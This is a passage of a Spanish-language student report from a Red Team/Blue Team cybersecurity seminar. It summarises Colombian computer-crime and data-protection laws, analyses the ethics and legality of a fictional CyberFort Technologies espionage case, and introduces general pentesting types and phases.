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Resumen

La investigacion tedrico practica, concerniente al Seminario Especializado Equipos
Estratégicos en Ciberseguridad Red Team & Blue Team, consistio en investigar las leyes y su
debida aplicacion en el territorio nacional colombiano a todo lo referente con el uso de
ciberseguridad y delitos informaticos, realizando una préctica aplicada de penetracion usando de
referencia al equipo Red Team, en la cual se incluyeron herramientas especializadas en seguridad
informéatica como fue NMAP, METASPLOITS, sobre un sistema operativo Kali Linux y una
intrusion sobre una maquina Windows 7 Service pack 1. En esta indagacion, también se usaron
técnicas de contencion de ataques aplicadas por el Equipo Blue Team, donde se recomendaron
algunos métodos de hardenizacion sobre controles en el sistema afectado y algunas herramientas

para el monitoreo de la red a intervenir.
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Glosario
o Amenaza: Es cualquier evento que se produzca dentro de un sistema y genere
afectacion o riesgo dentro.
o Antivirus: Software, que ayuda a controlar elementos maliciosos dentro de un
sistema.
o Blue Team: Equipo Azul, que prepara medidas de contencion de ataques

generados por equipo rojo y proporciona controles dentro de los sistemas.

o Ciber seguridad: Proceso que define la proteccion de datos en medio de una red
informatica, para asegurar la disponibilidad, integridad y confidencialidad.

o Confidencialidad: Es lo que le da caracteristicas a una informacién de
confidencial o reservada; la cual no se puede divulgar sin una autorizacion previa del titular de la
informacidn o tercero con poder autenticado.

. Controles: Son medidas de seguridad informaéticas, que permiten resguardar los
sistemas y sus contenidos.

o Disponibilidad: Es lo que permite identificar que la informacion consultada estéa
disponible y se pueda acceder en cualquier momento, teniendo claro los temas de privacidad y
confidencialidad de la informacion.

o Exploits: Software, que se aprovecha de las debilidades de un sistema para alterar
el comportamiento normal del mismo.

o Firewall: Elemento de la red que ayuda a endurecer la seguridad de los sistemas
detras del mismo.

o Hacker: Persona que accede de forma violenta a los sistemas, para obtener

informacion, que la puede usar para beneficio propio o de un tercero.



. Hardenizacion: Proceso que se le aplican a los controles de seguridad
o IDS: Sistema de deteccion de intrusos.
. Incidente: son un conjunto de eventos, presentados en un sistema, que atentan

contra la informacion y el buen funcionamiento de los equipos.
o Integridad: Se define a una informacién fidedigna, la cual es legitima y que no

tiene alteraciones.

o IPS: Sistema de prevencion de intrusos.

. informatica existentes o0 no existentes, para robustecerlos o endurecerlos.

o Payload: Malware, que usa un codigo malicioso para lograr un objetivo de forma
maliciosa.

. Red Team: Equipo rojo, que prepara ataques controlados en un sistema de
informacion.

o Reverse Shell: Ataque que permite ingresar a un sistema, engafiando a la maquina

vulnerada y permitiendo establecer una comunicacién como si fuera legitima.
. Seguridad informatica: Son un conjunto de medidas, que ayudan a la proteccion
de una red, equipo y sistemas, las cuales mitigan problemas de vulnerabilidades, filtracion,

ataque y cualquier problema que pueda presentarse en una organizacion.

o Snort: Software de licencia GPL usado para controlar trafico anémalo en la reden
la red.

o Suricata: Software de licencia GPL usado para controlar trafico anomalo en la
reden la red.

o Vulnerabilidad: Es la debilidad que tiene el sistema y que es aprovechada por un

atacante, para robar informacion o para penetrar el sistema y causar un dafio interno.



. Zeek: Software de licencia GPL usado para controlar trafico anémalo en la reden

la red.
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Introduccion

La presente investigacion, se refiere a realizar una practica controlada usando técnicas de
Red Team y Blue Team, las cuales brindan unos registros, que son necesarios para realizar la
limitacion de uso no autorizado de informacidn, bajo las leyes constitucionales colombianas,
todo con el proposito de brindar solucion a un problema de seguridad informética que enfrenta la
empresa CyberFort Technologies.

la caracteristica principal de este trabajo de investigacion es poder realizar un ataque al
sistema, simulando la forma como un atacante puedo entrar y a su vez poder controlar el
incidente que se present6 cuando un equipo de la red fue vulnerado, permitiendo la extraccién de
informacion sensible de la empresa de manera ilicita y la elevacion de privilegios ilegitimos con
lo que una persona malintencionada, pudo controlar parte de la operacion de la organizacion.

El interés principal de esta investigacion es que la empresa CyberFort Technologies
pueda hardenizar o implementar unos controles de seguridad informatica, que permitan asegurar
los procesos de la organizacién y pueda mantener su prestigio ganado de manera global y

sostenga la tranquilidad y confianza que ha proyectado a sus clientes
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Objetivos

Objetivo General

o Realizar un informe técnico que permita implementar sobre la empresa
CyberFort Technologies, un conjunto de estrategas usadas en materia de ciber seguridad por los
equipos red team y blue team, que permitan mitigar o controlar un fallo de seguridad informatica
sobre esta compaifiia, la cual puso en riesgo la integridad, confidencialidad y disponibilidad de

los datos vitales para su operacion.

Objetivos Especificos

o Estudiar las leyes y decretos Sobre Delitos Informaticos en Colombia.
. Profundizar sobre técnicas de pentesting, fases y herramientas usadas.
o Investigar sobre las funciones de los equipos red team, las técnicas de penetracién

usadas por estos actores en el sistemas, softwares usados y resultados obtenidos.
. Investigar sobre las funciones de los equipos blue team y equipo de respuesta a
incidentes, las técnicas de contencidn usadas por estos actores en el sistemas, softwares usados y

resultados obtenidos.
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Leyes y Decretos en Colombia Sobre Delitos Informaticos

Ley 1273 De 2009

Esta ley crea un bien juridico tutelado, el cual se encarga de resguardar los datos e
informacion sensibles de cualquier empresa, entidad o persona natural contenidas en equipos de
computos de cualquier sistema de informacion, con el fin de preservar y garantizar su integridad,
disponibilidad y fidelidad; y castiga el uso inapropiado de este recurso, para cometer cualquier
fraude.

Los paragrafos o articulos que se establecen en esta ley son los siguientes, los cuales
podemos clasificar en dos partes fundamentales; la primera son los atentados contra la
integridad, disponibilidad y confidencialidad de la informacion, los cuales estas presididas desde
el articulo 269A — 269H y el segundo, es para atentados informaticos y otras infracciones,

presididas desde el 2691 — 269J.

Capitulo Primero I, Atentados Contra la Integridad, Disponibilidad y Confidencialidad de la
Informacién

Articulo 269A: Todo aquel que ingresa a el sistema de cualquier entidad sin autorizacion
legitima o de manera abusiva, sin contar con la aprobacién de quien reamente tiene el derecho de
autorizarlo o denegarle el acceso al sistema, para consultar o modificar informacion de manera
total o parcial, colocando en riesgo dicho recurso.

o Pena: carcel 48 -96 meses

o Multa: 100-1000 SMLV
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Articulo 269B: Todo aquel que obstaculice de manera abusiva o ilegitima un sistema de
informacion, para que no se garantice el acceso ya sea a la red o a la informacion contenida en el
mismo, haciendo que los procesos fallen de manera constante.

o Pena: carcel 48 -96 meses

. Multa: 100-1000 SMLV

Articulo 269C: Todo aquel que, por medio de herramientas informaticas o fisicas, realice
interceptacion en cualquier punto de la comunicacidn, para extraer informacion sensible de un
sistema de informacion sin una orden judicial.

o Pena: carcel 36 -72 meses

Articulo 269D: Todo aquel que, sin una autorizacién previa, dafie, suprima, destruya,
modifique, cualquier medio l6gico, donde se concentre informacidn vital para el funcionamiento
de cualquier entidad, empresa o persona natural.

. Pena: cércel 48 -96 meses

. Multa: 100-1000 SMLV

Articulo 269E: Todo aquel que, sin una autorizacion legal, realice intrusiones de
softwares maliciosos al territorio nacional, para propagar algun ataque, dafio o espionaje en un
sistema de informacion, el cual pueda atentar contra la legitimidad de la informacion alli
contenida.

o Pena: carcel 48 -96 meses

. Multa: 100-1000 SMLV

Articulo 269F: Todo aquel que, sin autorizacion realice cualquier tipo de comercio de
informacidn de terceros o violacién de datos personales, tales como datos basicos, ficheros, entre

otros, ya sea para su propio lucro o para lucho de otros.
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o Pena: carcel 48 -96 meses

. Multa: 100-1000 SMLV

Articulo 269G: Todo aquel que, que suplante cualquier plataforma tecnolégica para
cometer ilicitos o cambie los dominios de un sitio seguro, para capturar informacion de manera
ilegal, haciendo usos de enlaces falsos o ventanas emergente, para engafar a cualquier persona o
entidad y coloque en riesgo su integridad.

o Pena: carcel 48 -96 meses

. Multa: 100-1000 SMLV

Articulo 269H: Circunstancias punitivas, con agravantes segun el delito cometido:

o Instruccion a sistemas informaticos de equipos estatales o financieros de
cualquier &mbito (nacionales o extranjeros).

. Facultades de un servidor publico, para exponer informacién sensible de la
entidad donde labora.

o Abuso de confianza, sobre una alguien que tiene derecho legitimo de la

informacién y un tercero la roba, la divulga o la vende.

. Perjudicando otra persona, exponiendo contenidos privados o sensibles del
mismao.

o Usar informacion de otra persona o entidad para un provecho propio o de un
tercero.

o Usar informacion sensible, para fines terroristas o para atentar contra cual

cualquier elemento o personas, que competen a la seguridad nacional.

o Utilizar a la buna fe de cualquier persona, para un ilicito.
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. Si la persona si tiene el derecho legitimo y abusa, para cometer una infraccion, se

le cargaran penas hasta de 3 afios de carcel e inhabilitacion del cargo.

Capitulo primero 11, Atentados informaticos y otras infracciones

Articulo 2691: Todo aquel que, usando cualquier tipo de suplantacién, hurte o robe
informacion de un tercero, superando todos los esquemas de seguridad del sistema de
informacion, sin un debido consentimiento de la persona legitima sobre dicho derecho.

. Pena: carcel 5 -12 afios, establecido en el articulo 240 de este codigo.

Articulo 269J: Todo aquel que, de manera ilegal consiga una trasparencia, para acceder
a cualquier activo para su beneficio, perjudicando un tercero

o Pena: carcel 48 -120 meses

. Multa; 200-1500 SMLV

. Se incrementa esta penan en la mitad, si el delito supera 200 SMLV.

LEY ESTATUTARIA 1581 DE 2012, Proteccion De Datos Personales
Titulo |

Articulo 1°: Todas las personas tienen derecho de manera amplia y suficiente, de
conocer, confirmar y actualizar la informacidn que se halla recogido de la misma y que estén
dentro de las bases de datos de cualquier entidad.

Articulo 2°: La informacidn contenida en cualquier sistema de informacion (BD), que
contengan datos personales de una persona ya sea de ambito privado o publico o de entidades
extranjeras sujetas a tratados internacionales con Colombia, estan sujetas por el articulo nimero

1 de esta ley.
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Esta ley no es aplicable en los siguientes casos:

o Bases de datos personales o de uso domesticos.

o Bases de datos con finalidad seguridad y defensa.

o Bases de datos de inteligencia y contra inteligencia.
J Bases de datos periodisticas.

o Bases de datos reguladas por la ley 1266 del 2008

. Bases de datos reguladas por la ley 79 del 1993

Articulo 3°: Definiciones

a) Autorizacion: Pedir permiso y ser acreditado por el propietario de la informacién
recolectada, para realizar el tratamiento de sus datos dentro del sistema de informacion.

b) Base de Datos: Datos personales que pueden ser tratados dentro de una
organizacion.

C) Dato personal: Informacion privada y relevante asociada a una a cualquier
persona.

d) Encargado del Tratamiento: Encargados de tratar datos personales de manera
autorizada de cualquier persona.

e) Responsable del Tratamiento: Persona autorizada y que tiene la potestad de
autorizar al tratamiento de los datos recolectados, para un sistema de informacion.

f) Titular: Persona duefia de los datos a tratar y quien autoriza, para el tratado de los
mismos.

9) Tratamiento: Mecanismo que se emplea para tratar datos recolectados y

suministrados por el titular.
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Titulo 11

Articulo 4°: Principios

a) Principio de legalidad en materia de Tratamiento de datos: la forma de tratar
datos, deben estar sujetas a esta misma ley.

b) Principio de finalidad: La informacion debe tener una finalidad para ser
recolectada y aprobada por esta ley.

C) Principio de libertad: El titular de la informacién debe autorizar el tratamiento
de sus datos y estos no pueden ser divulgados o trasmitidos sin su consentimiento de ninguna
manera.

d) Principio de veracidad o calidad: La informacidn recolectada debe ser
fidedigna, debe estar completas y no se pueden tratar datos parciales o incompletos, no
verificados o que por dichos datos se induzcan al error.

e) Principio de transparencia: La informacién puede ser suministrada al titular en
cualquier momento que este la requiera, con el fin de verificar que la informacion contenida
dentro de sistema sea veraz.

f) Principio de acceso y circulacion restringida: Los datos personales, deben ser
resguardados y no pueden ser divulgados al publico o a terceros al menos que sea consensuado
con el titular de la informacién; la informacion publica es excluida de este paragrafo.

9) Principio de seguridad: Todos los datos privados recolectados, deben ser
guardados, protegidos y no vulnerados; esto es responsabilidad de encargado o responsable del

tratamiento de datos y debe evitarse que dichos datos pierdan la fidelidad y autenticidad.
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h) Principio de confidencialidad: Todos los datos privados recolectados, deben
estar sujetos a un principio de confidencialidad aun cuando estos terminen la relacion con las
labores, para las cuales fueron recolectadas y solo pueden ser usados si contintan en desarrollos

de actividades para las cuales fueron autorizada.

Titulo 111, Categoria Especiales De Datos.

Articulo 5°. Datos sensibles. Los datos sensibles son aquellos que al ser divulgados o por
mal manejo, pueden vulnerar la intimidad del titular y pueden acarrear problemas que atentan
contra la integridad del mismos, como son, libertad religiosa, datos sobre salud, preferencias
politicas, sexuales entre otras.

Articulo 6°. Tratamiento de datos sensibles. Los datos sensibles solo pueden ser tratados
cuando, se cumplan con los siguientes apartados, de otra manera esta rotundamente prohibido por
esta ley.

a) El titular de los datos autorice su tratamiento.

b) Si el titular esta incapacitado para autorizar los datos y tiene un representante que,
de la autorizacion, siempre y cuando los datos sean de interés vital para el propietario de la
informacion.

C) Cuando hay garantias legitimas de una ONG o entidad sin &nimo de lucro y
finalidad politica, religiosa, filosofica o sindical y estas no pueden revelar datos personales a
terceros.

d) En un proceso judicial, cuando es necesario el reconocimiento, ejercicio o defensa
del propietario de los datos.

e) Para ser aportados a datos estadisticos, historicos y cientificos.
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Articulo 7°. Derechos de los nifios, nifias y adolescentes. Los datos son muy sensibles
por la calidad de los titulares de la informacion (nifios, nifias y adolescentes), por lo cual deben ser

tratados de manera responsables y evitar a toda costa que sean vulnerados o corrompidos.

Titulo 1V, Derechos Y Condiciones De Legalidad Para El Tratamiento De Datos

Articulo 8°. Derechos de los Titulares. Estos son relacionados asi:

a) Derecho de conocer, confirmar y actualizar la informacion que se halla recogido de
la misma.

b) Solicitar la autorizacion, donde se consciente al responsable o encargado la tenencia
de la informacidn personal.

C) Se informado sobre el tratamiento de sus datos personales.

d) Presentar quejas o querellas sobre el mal uso de sus datos personales; estas las
podran hacer frente a la superintendencia de industria y comercio.

e) Revocar el tratamiento de datos personales, otorgados a entidades.

f) Acceder de manera libre y gratis a los datos suministrados.

Articulo 9°. Autorizacion del Titular. Todo tratamiento de datos personales, debe ser
autorizado por el titular y el responsable de obtener dicha autorizacion debe tener la evidencia de
como obtuvo el consentimiento.

Articulo 10. Casos en que no es necesaria la autorizacion.

a) Cuando es requerida por una entidad publica o privada, bajo un requerimiento u
orden judicial.

b) Datos publicos.

C) En una emergencia médica o sanitaria.

d) Para fines historico, estadisticos o cientificos.
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e) Registro civil.

Articulo 11. Suministro de la informacion. La informacion puede ser suministrada por
distintos medios dispuestos para su recoleccion, incluyendo los electrénicos y debe ser veraz, de
buena escritura y de facil entendimiento.

Articulo 12. Deber de informar al Titular. EI Garante del tratamiento de los datos
personales, cuando recibe la autorizacion por parte del titular, debe informarle:

a) Para que es la recoleccion y como se trataran los datos personales.

b) Las respuestas son libres a las preguntas realizadas.

c) Los derechos que acuden al titular de los datos.

d) Informacion clara que acredite la identificacion del Recolector de la informacion.

Articulo 13. Personas a quienes se les puede suministrar la informacion. La informacion
recabada solo podra ser suministrada posteriormente al titular, a entidades privadas y publicas con

autorizacion judicial o a terceros debidamente autorizados por el titular de la informacion.

Titulo V, Procedimientos

Articulo 14. Consultas. La informacion puede ser consultada por el titular o apoderado
en cualquier base de datos, donde esta repose y el encargado, debe suministrar esa informacion,
contando con una autorizacion del titular.

Articulo 15. Reclamos. El titular o apoderado, puede pedir la correccion o anulacion de
la informacion que se encuentra en las bases de datos y debe hacerlo al responsable del

tratamiento, el cual puede actuar bajo unas reglas contenida en esta ley.
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Titulo VI, Deberes de los Responsables del Tratamiento y Encargados del Tratamiento

Articulo 17. Deberes de los responsables del Tratamiento. Debe garantizar el derecho
de habeas data al titular de la informacidn, mantener en condiciones 6ptimas la autorizacion
concedida para el tratamiento de la informacién, brindar claramente la finalidad de los datos
recolectados, mantener bajo estrictas medidas de seguridad la informacion del titular, mantener
y recopilar la completitud de la misma, tramitar las consultas y reclamos realizados por el
cliente o apoderados y cumplir con las medidas implantadas por la superintendencia de
industria y comercio.

Articulo 18. Deberes de los Encargados del Tratamiento. Debe garantizar el derecho de
habeas data al titular de la informacion, mantener en condiciones Optimas la autorizacion
concedida para el tratamiento de la informacién, brindar claramente la finalidad de los datos
recolectados, mantener bajo estrictas medidas de seguridad la informacion del titular, mantener
y recopilar la completitud de la misma, tramitar las consultas y reclamos realizados por el
cliente 0 apoderados, insertar leyendas de discusiones judiciales, no exponer informacién
controvertida por él titular y cumplir con la medidas implantadas por la superintendencia de

industria y comercio.

Titulo VII, De Los Mecanismos De Vigilancia Y Sancion
Capitulo I, De La Autoridad De Proteccion De Datos

Articulo 19. Autoridad de Proteccion de Datos. La superintendencia de industria y
comercio es la responsable de vigilar es quien vigila el tratamiento de los datos mediante la

Delegatura de proteccion de datos.
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Articulo 20. Recursos para el ejercicio de sus funciones. La superintendencia de
industria y comercio contara con recursos destinados al presupuesto general de la nacion para
dicha actividad.

Articulo 21. Funciones. La superintendencia de industria y comercio velara que se
respete la proteccion de datos personales, cumplira con los recursos interpuestos por el titular o
representante, en caso de algan tratamiento inadecuado de datos personales; realizara campafias
pedagdgicas para fomentar el buen uso de la recoleccion de datos y tratamientos de los mismos,
requerir al custodio de los datos informacion resguardada para el cumplimiento de sus funciones

y requerir a entidades nacionales y extranjeras cuando los datos de los titulares se vean afectados.

Capitulo 11, Procedimiento Y Sanciones

Articulo 22. Tramite. La superintendencia de industria y comercio, impondra sanciones
correspondientes en el codigo contencioso, por alguna violacién del tratamiento de datos
personales.

Articulo 23. Sanciones. La superintendencia de industria y comercio, impondra
sanciones al tenedor de la informacion sensible en caso de incumplimiento con la ley como son
multas 2000 SMLV, suspensidn de funciones con relacion al tratamiento de datos por termino de
6 meses y cierre de actividades en operaciones que requieran tratamientos de datos personales.

Articulo 24. Criterios para graduar las sanciones. La sancion interpuesta, sera calculada
dependiendo la accion que lo origind como es: Beneficios econdmicos propios o a terceros,
reincidencia en la prevaricacién, entorpecimiento en la investigacion del delito y el desacato al

cumplir una orden de investigacién interpuesta por la superintendencia de industria y comercio.



23

Capitulo 111, Del Registro Nacional de Bases De Datos

Articulo 25. Definicion. La superintendencia de industria y comercio, suministrada el
registro nacional de bases de datos, el cual sera regulada por el Decreto 886 de 2014 y queda
sujeta a los tratamientos de datos que operan en el pais. Este registro puede ser consultado
libremente por cualquier ciudadano y los interesados son los que aportan las politicas para el

tratamiento de la informacion alli contenida.

Titulo IV, Transferencia de Datos a Terceros Paises

Articulo 26. Prohibicion. No se podra transferir datos personales entre o desde paises
que no cumplen con las reglas impartidas desde la superintendencia de industria y comercio,
pero hay casos particulares que quedaran eximidos como son: cuando el titular autorice el
tratamiento de datos para trasferencias, tratamientos médicos e higiene publica de vital
importancia para el titular, tramites bancarios, trasferencias entre paises donde Colombia haga
parte de tratados internacionales, tratamientos de datos para relaciones laborales contractuales y

trasferencias para salvaguardar un interés pablico.

Titulo V, Otras Disposiciones

Articulo 27. Normas Corporativas Vinculantes. EIl gobierno nacional, es quien puede
generar la certificacion donde se garantizan las buenas practicas en la proteccién de datos
personales y es quien legitima su trasferencia a terceros u otros paises.

Los demas articulos del 28 — 30, es para hacer cumplir esta ley cuando entrd en vigencia.
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Analisis de los anexos Escenario 2 y Acuerdo desde el punto de vista legal y no ético

Realizando la lectura de los documentos antes mencionados, vemos que la empresa
CyberFort Technologies, ha tenido un problema con la elaboracién de un acuerdo o contrato,
para conformar un equipo especializado (Red Team y Blue Team), toda vez que la persona
encargada “la cual fue apartada del cargo y despedida”, realiz6 dicho acuerdo, basado en
irregularidades que al final ponen en tela de juicio la empresa CyberFort Technologies y esto
puede afectar su imagen corporativa, su mision, vision, funcionamiento y el crecimiento
exponencial que pueda tener a futuro, toda vez que realizar labores para grandes entidades de
talla mundial.

Esta entidad también, puede verse envuelta en problemas legales, toda vez que al
suscribir un acuerdo o contrato con un tercero (empleado, empresa, etc), estd dando de manera
directa la facultada para realizar estos tipos de labores y que al momento de comprobarse la
violacién de las leyes colombianas como son 1273 de 2009 y la 1581 de 2012, puede acarrear en
sanciones graves, investigaciones y hasta cierre de la compafiia.

Los fragmentos de este acuerdo, que no se ajusten a las normas constitucionales y de
legalidad son los siguientes:

. Consideraciones, Primera. Objeto: “Procesos ilegales dentro de CyberFort
Technologies no podran ser divulgados.”

o Consideraciones, Segunda. Definicion de informacion confidencial, punto 2.
“Datos de chuzadas, interceptaciones de informacion, acceso abusivo a sistemas de informacion”

. Consideraciones, Cuarta. Obligaciones de la parte recepto, Punto 3. “No

denunciar ante autoridades actividad sospechosa de espionaje...”



25

. Consideraciones, Cuarta. Obligaciones del parte receptor, Punto 4.
“Abstenerse de denunciar y publicar informacion confidencial e ilegal...”

o Consideraciones, Quinta. Obligaciones de la parte recepto, Punto 9. “la parte
receptora... informacion confidencial o ilegal sin el previo consentimiento...”

. Consideraciones, Sexta. Solucion de controversias, Punto. Acuerdo: “En caso
que la informacién ilegal o confidencial... acudir a abogados privados y dejar exenta... a

CyberFort Technologies”

Justificacion de la eleccion de los puntos antes mencionados.

Nosotros, como profesionales en el area de seguridad informatica, somos las personas
idoneas para prestar un servicio a cualquier empresa o entidad ya sea para asegurar procesos de
las mismas o prestar servicios como outsourcing; por lo cual, debemos ser integros y con una
buena moral y ética, para poder hacer de manera correcta nuestro trabajo y no solo que este se
rija de una cuantia econdmica para desarrollar dicha labor.

Revisando los puntos se encuentra lo siguiente:

Cuando existen proceso dentro de una empresa que son ilegales o irregulares y estos no
son divulgados a la alta gerencia o a quien sirva como veedor o garante de que se ejecute el
proyecto, la persona que advierte este hecho, se convierte en complice y puede estar enfrentando
penas regidas en la constitucion colombiana, regidas por las leyes 1273 de 2009 y la 1581 de
2012.

Se observa, que este acuerdo usa de fachada la empresa para realizar una labor y luego
traslada la responsabilidad al contratista, le pide que busque defenderse fuera del contexto de

trabajo, usando abogados particulares y que esa informacién quede lista para ser usada por un
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grupo minimo; el cual puede sacar provecho de la informacion de un tercero, sin verse afectados
y tratando de dejar la empresa por fuera del problema.

El acuerdo, respalda interceptacion de informacion de manera ilegal, acceso abusivo a
sistemas de informacion, lo cual puede verse como hurto de la misma informacién para lucro
personal, dafio o modificacion de informacion confidencial, al momento de ser sustraida, de
manera arbitraria y uso indebido de las herramientas en el trabajo de seguridad informatica, para

espionaje y apropiacion de datos sensibles.
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Analisis de los anexos, en relacién a la vulneracion de la ley 1273 argumentando cualquier
proceso ilegal

o Articulo 269A. con el acuerdo antes analizado, se evidencia que usaran la
empresa como fachada, para acceder de manera abusiva, sin consentimientos y violando el
derecho del titular de la informacidn. para obtener informacion de manera ilegal

o Articulo 269C. con el acuerdo antes analizado, se interceptaran datos
informaticos y lo explican cuando hablan de chuzadas e interceptaciones informaticas, para
obtener informacién por cualquier medio que se propague y después hacer uso de la misma
informacidn para obtener un bien comun de un grupo minimo.

o Articulo 269E. con el acuerdo antes analizado, no se especifica que softwares
pueden usar para obtener la informacién de manera ilegal, por lo cual se pueden usar una gran
gama de herramientas que ayuden a cumplir dicho delito.

o Articulo 269F. con el acuerdo antes analizado, se violaran datos personales de
titulares o de personas con legitimo derecho, estos pueden ser interceptados, modificados,
sustraidos y pueden ser vendidos para provecho propio o de un tercero.

o Articulo 2691. con el acuerdo antes analizado, y al ser vulnerados los sistemas
legitimos de seguridad, donde reposa la informacion sensible, esta puede ser sustraida, hurtando

datos de suma relevancia y de caracter confidencial.
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Analisis del caso “Ciberespionaje y Etica en CyberFort Technologies” desde su posicién
teniendo en cuenta los aspectos legales y éticos.

El grupo de trabajo de la empresa de la empresa CyberFort Technologies, autorizada
para realizar una auditoria de sistema de informacion de un ente gubernamental, logro neutralizar
una amenaza dentro del sistema de la entidad, pero uso privilegios otorgados para su labor, con
el fin de robar datos sensibles, vulnéralos, sustraerlos, traficarlos y venderlos a terceros, sacando
un provecho de su actuar.

Ahora desarrollaremos los otros puntos basados en este incidente ilegal y no ético:

. La empresa CyberFort Technologies, para poder realizar un trabajo de auditoria
sobre el ente gubernamental, deberia tener acceso total a las plataformas que desean asegurar y
usar acuerdos de confidencialidad para determinar los limites de dicha auditoria y cuéles son los
recursos con los que cuentan para dicha labor; por lo cual, va a ser muy dificil que no se tenga
acceso a informacion sensible; pero alli es donde comienza a jugar la ética profesional del
ingeniero y comienza a aplicar las normas legales como es el codigo de ética profesional de
COPNIA y las leyes que regulan el uso indebido de informacion sensible y confidencial como es
laley 1273 de 2009 y la 1581 de 2012.

o Los mecanismos que se deben usar dentro de la empresa, para limitar a los
empleados en post de sus funciones y que no comentan actos delictivos usando elevacion de
privilegios u otra forma de delinquir son:

o Revisar hojas de vida de la parte contratada para labor de auditoria, con el fin de
determinar si tiene 0 no sanciones por actos criminales, que pongan en riesgo el contrato
suscitados por la empresa CyberFort Technologies y la entidad gubernamental o cualquier otra

que requiera los servicios.
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o Encuestas y cuestionarios: Estos mecanismos, le permiten a la empresa
determinar primeramente el grado de preparacion e intelectualidad que tiene el contratista sobre
los saberes que requiere el puesto, ademas, deben enfocar una parte muy fundamental, para mirar
como el contratista reacciona ante hechos ilegales o pocos confiables; este Gltimo punto, es
necesario desarrollarlo con un equipo de alta gerencia y psicologico.

o Firmar acuerdo de confidencialidad, con los contratistas y con el ente
gubernamental, los cuales, deben ser muy bien definido y claro, con las funciones y operaciones
a realizar por parte de la empresa y subcontratistas de la misma y sus respectivos limites, las
clausulas penales por incumplimiento y todo lo conlleva a la realizacion del trabajo.

Con este mecanismo, se busca que toda la informacion tratada, durante el proceso de
PENTESTING, quede custodiada y protegidas de accesos no autorizados y no divulgacién de la
misma.

o Realizar un inventario de lo auditado y solamente usar softwares proporcionados
por la empresa CyberFort Technologies, los cuales deberian estar entregados antes de comenzar
la labor.

o Revisar los dispositivos usados en dicha labor por parte del gerente del proyecto
y no permitir el uso de dispositivos externos o que no sean entregados por la empresa CyberFort
Technologies, la cual deberia entregar software en dispositivos de solo lectura.

o Realizar mecanismos de identificacion y autenticacion: En un entorno de
trabajo de ciberseguridad, las personas autorizadas y debidamente identificadas por la empresa,

son las que pueden trabajar con datos sensibles de un cliente.
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o Mecanismo de control de acceso: Controlar los accesos a recursos, equipos,
sistemas, herramientas, entre otras, a las personas del equipo de trabajo y los derechos de
usuarios y privilegios que tendran sobre el sistema intervenido.

o Mecanismo de monitoreo y registro: Monitoreas los accesos Y las actividades de
las personas que trabajan dentro del proyectos, y verificar lo que realmente estan haciendo en sus

horas programadas y tener un registro de control o bitacora de ejecucion de actividades.

. La entidad gubernamental, al momento de descubrir esta infraccion, debe apegarse
a lo establecido por la ley, toda vez que, con la ética manejada por los contratistas de la empresa
CyberFort Technologies, colocaron en riesgos las operaciones sensibles y de vital importancia
de esta entidad y divulgaron informacién de temas de defensa, politica exterior y negociaciones
comerciales.

Las leyes violadas en esta resefia son:

o Articulo 269A. Accedieron de manera abusiva, usando elevacion de privilegios y
violando el derecho reservados de la entidad gubernamental, para obtener informacién de manera
ilegal

o Articulo 269C. Los contratistas de la empresa CyberFort Technologies,
interceptaron datos informaticos sensibles y confidenciales del gobierno y después vendieron la
informacion a la competencia en un mercado ilegal, sacando provecho propio.

o Articulo 269E: Uso de software malicioso. Uso de software de analisis forense

digital, para interceptar y recopilar datos sensibles.
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o Articulo 269F. Los contratistas de la empresa CyberFort Technologies, violaron
datos personales del ente gubernamental, usando elevacion de privilegios, interceptados,
sustraidos y vendiéndolos a un tercero.

o Articulo 2691. Los contratistas de la empresa CyberFort Technologies,
vulneraron los sistemas legitimos de seguridad, donde reposa la informacion sensible y la
hurtaron para hacer de ellas un material de venta y exposicion.

o Articulo 269J: Transferencia no consentida de activos. Al momento de vender
esta informacion sensible para el ente gubernamental a la competencia, la entidad puede perder

contratos y o cualquier tipo de licitaciones y esto lo puede conllevar a un detrimento patrimonial.

o Las medidas adecuadas para recuperar la confianza y evitar futuros problemas
serian:

o) usar los mecanismos dentro de la empresa, para limitar a los empleados en post
de sus funciones y que no comentan actos delictivos usando elevacion de privilegios y estan
descritos en los puntos anteriores como son revisar hojas de vida, firmar acuerdo de
confidencialidad, realizar un inventario y revisar los dispositivos.

o Separar del cargo a las personas involucradas en el incidente.

o Aplicar las normas contempladas en el codigo de ética profesional impartida por
el COPNIA 'y las leyes 1273 de 2009 y 1581 de 2012.

o Tratar de hablar con el presidente del ente gubernamental sobre el problema
presentado, asumir la responsabilidad y pedir resarcirse del problema causado y mostrarle las
medidas que la empresa CyberFort Technologies, tomo con esos empleados que abusaron de

sus funciones dentro de la auditoria.
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Pentesting

También conocidas como pruebas de penetracion, son aquellas realizadas a nivel de
auditoria por empresas, para conocer las vulnerabilidades o puntos criticos, por donde pueden
recibir un ataque informatico. Estas pruebas las pueden hacer para detectar fallos en
infraestructura, en sistemas operativos o softwares que usan para sus actividades diarias.

Las pruebas de penetracion, son ejecutadas por expertos en seguridad informaticas
Ilamados pentesters, las cuales son controladas y ayudan a tomar decisiones sobre correctivos o
mitigacién de problemas, en cualquier punto que lo requieran y estos usan el escaneo, analisis de
cddigo, entre otras actividades, que permitan explotar fallos de seguridad en la empresa,

evadiendo los controles existentes en la misma.

Tipos de Pentesting

a) Pertesting de caja blanca: Los pentesters, tienen acceso total a la informacién de
la empresa, arquitectura, infraestructura y con esto pueden realizar un analisis profundo y de
manera rapida, pero pierden la realidad de un ciber ataque.

b) Pertesting de caja negra: Los pentesters, no tienen acceso a informacién de la
empresa, N0 conocen arquitectura, ni infraestructura y deben realizar pruebas mas realistas para
vulnerar un sistema.

C) Pertesting de caja gris: Este se encuentra en la mitad, donde los pentesters solo
conocen parte de los recursos y deben trabajar buscando esas brechas de seguridad de manera

intermedia.
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Fases de Pentesting

Las fases de un pentesting, nos ayudan a ir avanzando en el descubrimiento o explotacion
de fallos o vulnerabilidades que tiene una empresa en su infraestructura, arquitectura de
softwares y redes de la empresa.

Estas fases son:

Fase de Reconocimiento.

Es la fase principal, porque dependiendo de este reconocimiento, podemos llegar a una
excelente o débil conclusion, toda vez que en esta fase se puede auditar y coloca los caminos a
tomar para la evaluacién de los demas momentos o periodos. Los reconocimientos pueden ser de
dos formas:

o Reconocimiento pasivo o Footprinting: Recaba datos de un sistema sin tener
que interactuar con el mismo y no deja rastro de que se esta obteniendo informacién del objetivo.

En este punto los recolectores de informacidn obtienen datos relevantes del hardware o
de la red que se desea acceder, usando cualquier técnica que le ayude en esa labor, por ejemplo,
la ingenieria social, Google, Sitios web de trabajo, Who is, Uso de neo trace, sitios web de la
empresa, archivos.org, entre otros, usando huellas pasivas o activas.

Mediante esta técnica podemos obtener sistemas operativos en la empresa,
